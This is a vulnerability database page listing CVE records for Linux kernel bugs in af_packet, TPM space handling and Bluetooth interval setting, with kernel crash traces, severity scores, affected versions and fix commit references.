In the Linux kernel, the following vulnerability has been resolved: af_packet: fix vlan_get_tci() vs MSG_PEEK Blamed commit forgot MSG_PEEK case, allowing a crash [1] as found by syzbot. Rework vlan_get_tci() to not touch skb at all, so that it can be used from many cpus on the same skb. Add a const qualifier to skb argument. [1] skbuff: skb_under_panic: text:ffffffff8a8da482 len:32 put:14 head:ffff88807a1d5800 data:ffff88807a1d5810 tail:0x14 end:0x140 dev:<NULL> ------------[ cut here ]------------ kernel BUG at net/core/skbuff.c:206 ! Oops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN PTI CPU: 0 UID: 0 PID: 5880 Comm: syz-executor172 Not tainted 6.13.0-rc3-syzkaller-00762-g9268abe611b0 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024 RIP: 0010:skb_panic net/core/skbuff.c:206 [inline] RIP: 0010:skb_under_panic+0x14b/0x150 net/core/skbuff.c:216 Code: 0b 8d 48 c7 c6 9e 6c 26 8e 48 8b 54 24 08 8b 0c 24 44 8b 44 24 04 4d 89 e9 50 41 54 41 57 41 56 e8 3a 5a 79 f7 48 83 c4 20 90 <0f> 0b 0f 1f 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 RSP: 0018:ffffc90003baf5b8 EFLAGS: 00010286 RAX: 0000000000000087 RBX: dffffc0000000000 RCX: 8565c1eec37aa000 RDX: 0000000000000000 RSI: 0000000080000000 RDI: 0000000000000000 RBP: ffff88802616fb50 R08: ffffffff817f0a4c R09: 1ffff92000775e50 R10: dffffc0000000000 R11: fffff52000775e51 R12: 0000000000000140 R13: ffff88807a1d5800 R14: ffff88807a1d5810 R15: 0000000000000014 FS: 00007fa03261f6c0(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007ffd65753000 CR3: 0000000031720000 CR4: 00000000003526f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> skb_push+0xe5/0x100 net/core/skbuff.c:2636 vlan_get_tci+0x272/0x550 net/packet/af_packet.c:565 packet_recvmsg+0x13c9/0x1ef0 net/packet/af_packet.c:3616 sock_recvmsg_nosec net/socket.c:1044 [inline] sock_recvmsg+0x22f/0x280 net/socket.c:1066 ____sys_recvmsg+0x1c6/0x480 net/socket.c:2814 ___sys_recvmsg net/socket.c:2856 [inline] do_recvmmsg+0x426/0xab0 net/socket.c:2951 __sys_recvmmsg net/socket.c:3025 [inline] __do_sys_recvmmsg net/socket.c:3048 [inline] __se_sys_recvmmsg net/socket.c:3041 [inline] __x64_sys_recvmmsg+0x199/0x250 net/socket.c:3041 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/66ffb0cf2125dcf9e…
https://git.kernel.org/stable/c/fa57f07ba0622c869…
https://git.kernel.org/stable/c/65c67049e9ed481f6…
https://git.kernel.org/stable/c/d91b4a9baa018a001…
https://git.kernel.org/stable/c/7aa78d0d8546d8ce5…
https://git.kernel.org/stable/c/b65292a548d847099…
https://git.kernel.org/stable/c/77ee7a6d16b6ec07b…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c77064e76c768fb101ea5ff92dc771142fc9d8fd , < 66ffb0cf2125dcf9e902eede4a43653a24fd9cb2 (git) Affected: 83e2dfadcb6258fe3111c8a8ec9cf34465e55e64 , < fa57f07ba0622c8692f40e1300adca59277b0044 (git) Affected: d0a1f9aa70f0d8a05b6320e8a3f3b83adab8dac3 , < 65c67049e9ed481f6b52264b39618b8c6dfb1d3e (git) Affected: 5839f59ff1dd4e35b9e767927931a039484839e1 , < d91b4a9baa018a001d5c884e236c0cfd31f9f4a1 (git) Affected: 5a041d25b67042cbe06a0fb292ee22fd1147e65c , < 7aa78d0d8546d8ce5a764add3f55d72e707c18f1 (git) Affected: 79eecf631c14e7f4057186570ac20e2cfac3802e , < b65292a548d847099a4fe0fff53122a06e798e25 (git) Affected: 79eecf631c14e7f4057186570ac20e2cfac3802e , < 77ee7a6d16b6ec07b5c3ae2b6b60a24c1afbed09 (git) Affected: 3dfd84aa72fa7329ed4a257c8f40e0c9aff4dc8f (git) Affected: 66f23a7b5174b5d3e7111fd2d0d5a4f3faaa12e5 (git)
Linux	Linux	Affected: 6.11 Unaffected: 0 , < 6.11 (semver) Unaffected: 5.4.289 , ≤ 5.4.* (semver) Unaffected: 5.10.233 , ≤ 5.10.* (semver) Unaffected: 5.15.176 , ≤ 5.15.* (semver) Unaffected: 6.1.124 , ≤ 6.1.* (semver) Unaffected: 6.6.70 , ≤ 6.6.* (semver) Unaffected: 6.12.9 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-57902",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:54:33.375217Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:57:18.984Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:55:22.811Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:35.434Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/packet/af_packet.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "66ffb0cf2125dcf9e902eede4a43653a24fd9cb2",
              "status": "affected",
              "version": "c77064e76c768fb101ea5ff92dc771142fc9d8fd",
              "versionType": "git"
            },
            {
              "lessThan": "fa57f07ba0622c8692f40e1300adca59277b0044",
              "status": "affected",
              "version": "83e2dfadcb6258fe3111c8a8ec9cf34465e55e64",
              "versionType": "git"
            },
            {
              "lessThan": "65c67049e9ed481f6b52264b39618b8c6dfb1d3e",
              "status": "affected",
              "version": "d0a1f9aa70f0d8a05b6320e8a3f3b83adab8dac3",
              "versionType": "git"
            },
            {
              "lessThan": "d91b4a9baa018a001d5c884e236c0cfd31f9f4a1",
              "status": "affected",
              "version": "5839f59ff1dd4e35b9e767927931a039484839e1",
              "versionType": "git"
            },
            {
              "lessThan": "7aa78d0d8546d8ce5a764add3f55d72e707c18f1",
              "status": "affected",
              "version": "5a041d25b67042cbe06a0fb292ee22fd1147e65c",
              "versionType": "git"
            },
            {
              "lessThan": "b65292a548d847099a4fe0fff53122a06e798e25",
              "status": "affected",
              "version": "79eecf631c14e7f4057186570ac20e2cfac3802e",
              "versionType": "git"
            },
            {
              "lessThan": "77ee7a6d16b6ec07b5c3ae2b6b60a24c1afbed09",
              "status": "affected",
              "version": "79eecf631c14e7f4057186570ac20e2cfac3802e",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "3dfd84aa72fa7329ed4a257c8f40e0c9aff4dc8f",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "66f23a7b5174b5d3e7111fd2d0d5a4f3faaa12e5",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/packet/af_packet.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.11"
            },
            {
              "lessThan": "6.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.289",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.233",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.176",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.124",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.70",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.289",
                  "versionStartIncluding": "5.4.282",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.233",
                  "versionStartIncluding": "5.10.224",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.176",
                  "versionStartIncluding": "5.15.165",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.124",
                  "versionStartIncluding": "6.1.103",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.70",
                  "versionStartIncluding": "6.6.44",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.9",
                  "versionStartIncluding": "6.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "6.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.19.320",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.10.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_packet: fix vlan_get_tci() vs MSG_PEEK\n\nBlamed commit forgot MSG_PEEK case, allowing a crash [1] as found\nby syzbot.\n\nRework vlan_get_tci() to not touch skb at all,\nso that it can be used from many cpus on the same skb.\n\nAdd a const qualifier to skb argument.\n\n[1]\nskbuff: skb_under_panic: text:ffffffff8a8da482 len:32 put:14 head:ffff88807a1d5800 data:ffff88807a1d5810 tail:0x14 end:0x140 dev:\u003cNULL\u003e\n------------[ cut here ]------------\n kernel BUG at net/core/skbuff.c:206 !\nOops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN PTI\nCPU: 0 UID: 0 PID: 5880 Comm: syz-executor172 Not tainted 6.13.0-rc3-syzkaller-00762-g9268abe611b0 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\n RIP: 0010:skb_panic net/core/skbuff.c:206 [inline]\n RIP: 0010:skb_under_panic+0x14b/0x150 net/core/skbuff.c:216\nCode: 0b 8d 48 c7 c6 9e 6c 26 8e 48 8b 54 24 08 8b 0c 24 44 8b 44 24 04 4d 89 e9 50 41 54 41 57 41 56 e8 3a 5a 79 f7 48 83 c4 20 90 \u003c0f\u003e 0b 0f 1f 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3\nRSP: 0018:ffffc90003baf5b8 EFLAGS: 00010286\nRAX: 0000000000000087 RBX: dffffc0000000000 RCX: 8565c1eec37aa000\nRDX: 0000000000000000 RSI: 0000000080000000 RDI: 0000000000000000\nRBP: ffff88802616fb50 R08: ffffffff817f0a4c R09: 1ffff92000775e50\nR10: dffffc0000000000 R11: fffff52000775e51 R12: 0000000000000140\nR13: ffff88807a1d5800 R14: ffff88807a1d5810 R15: 0000000000000014\nFS:  00007fa03261f6c0(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007ffd65753000 CR3: 0000000031720000 CR4: 00000000003526f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n \u003cTASK\u003e\n  skb_push+0xe5/0x100 net/core/skbuff.c:2636\n  vlan_get_tci+0x272/0x550 net/packet/af_packet.c:565\n  packet_recvmsg+0x13c9/0x1ef0 net/packet/af_packet.c:3616\n  sock_recvmsg_nosec net/socket.c:1044 [inline]\n  sock_recvmsg+0x22f/0x280 net/socket.c:1066\n  ____sys_recvmsg+0x1c6/0x480 net/socket.c:2814\n  ___sys_recvmsg net/socket.c:2856 [inline]\n  do_recvmmsg+0x426/0xab0 net/socket.c:2951\n  __sys_recvmmsg net/socket.c:3025 [inline]\n  __do_sys_recvmmsg net/socket.c:3048 [inline]\n  __se_sys_recvmmsg net/socket.c:3041 [inline]\n  __x64_sys_recvmmsg+0x199/0x250 net/socket.c:3041\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:00:11.421Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/66ffb0cf2125dcf9e902eede4a43653a24fd9cb2"
        },
        {
          "url": "https://git.kernel.org/stable/c/fa57f07ba0622c8692f40e1300adca59277b0044"
        },
        {
          "url": "https://git.kernel.org/stable/c/65c67049e9ed481f6b52264b39618b8c6dfb1d3e"
        },
        {
          "url": "https://git.kernel.org/stable/c/d91b4a9baa018a001d5c884e236c0cfd31f9f4a1"
        },
        {
          "url": "https://git.kernel.org/stable/c/7aa78d0d8546d8ce5a764add3f55d72e707c18f1"
        },
        {
          "url": "https://git.kernel.org/stable/c/b65292a548d847099a4fe0fff53122a06e798e25"
        },
        {
          "url": "https://git.kernel.org/stable/c/77ee7a6d16b6ec07b5c3ae2b6b60a24c1afbed09"
        }
      ],
      "title": "af_packet: fix vlan_get_tci() vs MSG_PEEK",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-57902",
    "datePublished": "2025-01-15T13:05:58.296Z",
    "dateReserved": "2025-01-11T14:45:42.031Z",
    "dateUpdated": "2026-05-12T12:01:35.434Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49851 (GCVE-0-2024-49851)

Vulnerability from cvelistv5 – Published: 2024-10-21 12:18 – Updated: 2026-05-12 11:58

Title

tpm: Clean up TPM space after command failure

Summary

In the Linux kernel, the following vulnerability has been resolved: tpm: Clean up TPM space after command failure tpm_dev_transmit prepares the TPM space before attempting command transmission. However if the command fails no rollback of this preparation is done. This can result in transient handles being leaked if the device is subsequently closed with no further commands performed. Fix this by flushing the space in the event of command transmission failure.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/87e8134c18977b566…
https://git.kernel.org/stable/c/2c9b228938e9266a1…
https://git.kernel.org/stable/c/ebc4e1f4492d114f9…
https://git.kernel.org/stable/c/c84ceb546f30432fc…
https://git.kernel.org/stable/c/82478cb8a23bd4f97…
https://git.kernel.org/stable/c/adf4ce16256122233…
https://git.kernel.org/stable/c/3f9f72d843c92fb6f…
https://git.kernel.org/stable/c/e3aaebcbb7c6b4034…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 745b361e989af21ad40811c2586b60229f870a68 , < 87e8134c18977b566f4ec248c8a147244da69402 (git) Affected: 745b361e989af21ad40811c2586b60229f870a68 , < 2c9b228938e9266a1065a3f4fe5c99b7235dc439 (git) Affected: 745b361e989af21ad40811c2586b60229f870a68 , < ebc4e1f4492d114f9693950621b3ea42b2f82bec (git) Affected: 745b361e989af21ad40811c2586b60229f870a68 , < c84ceb546f30432fccea4891163f7050f5bee5dd (git) Affected: 745b361e989af21ad40811c2586b60229f870a68 , < 82478cb8a23bd4f97935bbe60d64528c6d9918b4 (git) Affected: 745b361e989af21ad40811c2586b60229f870a68 , < adf4ce162561222338cf2c9a2caa294527f7f721 (git) Affected: 745b361e989af21ad40811c2586b60229f870a68 , < 3f9f72d843c92fb6f4ff7460d774413cde7f254c (git) Affected: 745b361e989af21ad40811c2586b60229f870a68 , < e3aaebcbb7c6b403416f442d1de70d437ce313a7 (git)
Linux	Linux	Affected: 4.12 Unaffected: 0 , < 4.12 (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49851",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T12:56:54.610460Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:04:11.872Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:22:18.217Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:52.135Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/char/tpm/tpm-dev-common.c",
            "drivers/char/tpm/tpm2-space.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "87e8134c18977b566f4ec248c8a147244da69402",
              "status": "affected",
              "version": "745b361e989af21ad40811c2586b60229f870a68",
              "versionType": "git"
            },
            {
              "lessThan": "2c9b228938e9266a1065a3f4fe5c99b7235dc439",
              "status": "affected",
              "version": "745b361e989af21ad40811c2586b60229f870a68",
              "versionType": "git"
            },
            {
              "lessThan": "ebc4e1f4492d114f9693950621b3ea42b2f82bec",
              "status": "affected",
              "version": "745b361e989af21ad40811c2586b60229f870a68",
              "versionType": "git"
            },
            {
              "lessThan": "c84ceb546f30432fccea4891163f7050f5bee5dd",
              "status": "affected",
              "version": "745b361e989af21ad40811c2586b60229f870a68",
              "versionType": "git"
            },
            {
              "lessThan": "82478cb8a23bd4f97935bbe60d64528c6d9918b4",
              "status": "affected",
              "version": "745b361e989af21ad40811c2586b60229f870a68",
              "versionType": "git"
            },
            {
              "lessThan": "adf4ce162561222338cf2c9a2caa294527f7f721",
              "status": "affected",
              "version": "745b361e989af21ad40811c2586b60229f870a68",
              "versionType": "git"
            },
            {
              "lessThan": "3f9f72d843c92fb6f4ff7460d774413cde7f254c",
              "status": "affected",
              "version": "745b361e989af21ad40811c2586b60229f870a68",
              "versionType": "git"
            },
            {
              "lessThan": "e3aaebcbb7c6b403416f442d1de70d437ce313a7",
              "status": "affected",
              "version": "745b361e989af21ad40811c2586b60229f870a68",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/char/tpm/tpm-dev-common.c",
            "drivers/char/tpm/tpm2-space.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.12"
            },
            {
              "lessThan": "4.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntpm: Clean up TPM space after command failure\n\ntpm_dev_transmit prepares the TPM space before attempting command\ntransmission. However if the command fails no rollback of this\npreparation is done. This can result in transient handles being leaked\nif the device is subsequently closed with no further commands performed.\n\nFix this by flushing the space in the event of command transmission\nfailure."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:40:27.049Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/87e8134c18977b566f4ec248c8a147244da69402"
        },
        {
          "url": "https://git.kernel.org/stable/c/2c9b228938e9266a1065a3f4fe5c99b7235dc439"
        },
        {
          "url": "https://git.kernel.org/stable/c/ebc4e1f4492d114f9693950621b3ea42b2f82bec"
        },
        {
          "url": "https://git.kernel.org/stable/c/c84ceb546f30432fccea4891163f7050f5bee5dd"
        },
        {
          "url": "https://git.kernel.org/stable/c/82478cb8a23bd4f97935bbe60d64528c6d9918b4"
        },
        {
          "url": "https://git.kernel.org/stable/c/adf4ce162561222338cf2c9a2caa294527f7f721"
        },
        {
          "url": "https://git.kernel.org/stable/c/3f9f72d843c92fb6f4ff7460d774413cde7f254c"
        },
        {
          "url": "https://git.kernel.org/stable/c/e3aaebcbb7c6b403416f442d1de70d437ce313a7"
        }
      ],
      "title": "tpm: Clean up TPM space after command failure",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49851",
    "datePublished": "2024-10-21T12:18:44.742Z",
    "dateReserved": "2024-10-21T12:17:06.015Z",
    "dateUpdated": "2026-05-12T11:58:52.135Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-24858 (GCVE-0-2024-24858)

Vulnerability from cvelistv5 – Published: 2024-02-05 07:30 – Updated: 2026-05-12 11:49

Title

Race condition vulnerability in Linux kernel net/bluetooth in {conn,adv}_{min,max}_interval_set()

Summary

A race condition was found in the Linux kernel's net/bluetooth in {conn,adv}_{min,max}_interval_set() function. This can result in I2cap connection or broadcast abnormality issue, possibly leading to denial of service.

Severity ?

4.6 (Medium)


                        
                          CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:H

CWE

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Assigner

Anolis

References

3 references

URL	Tags
https://bugzilla.openanolis.cn/show_bug.cgi?id=8154
https://lists.debian.org/debian-lts-announce/2024…
https://lists.debian.org/debian-lts-announce/2024…

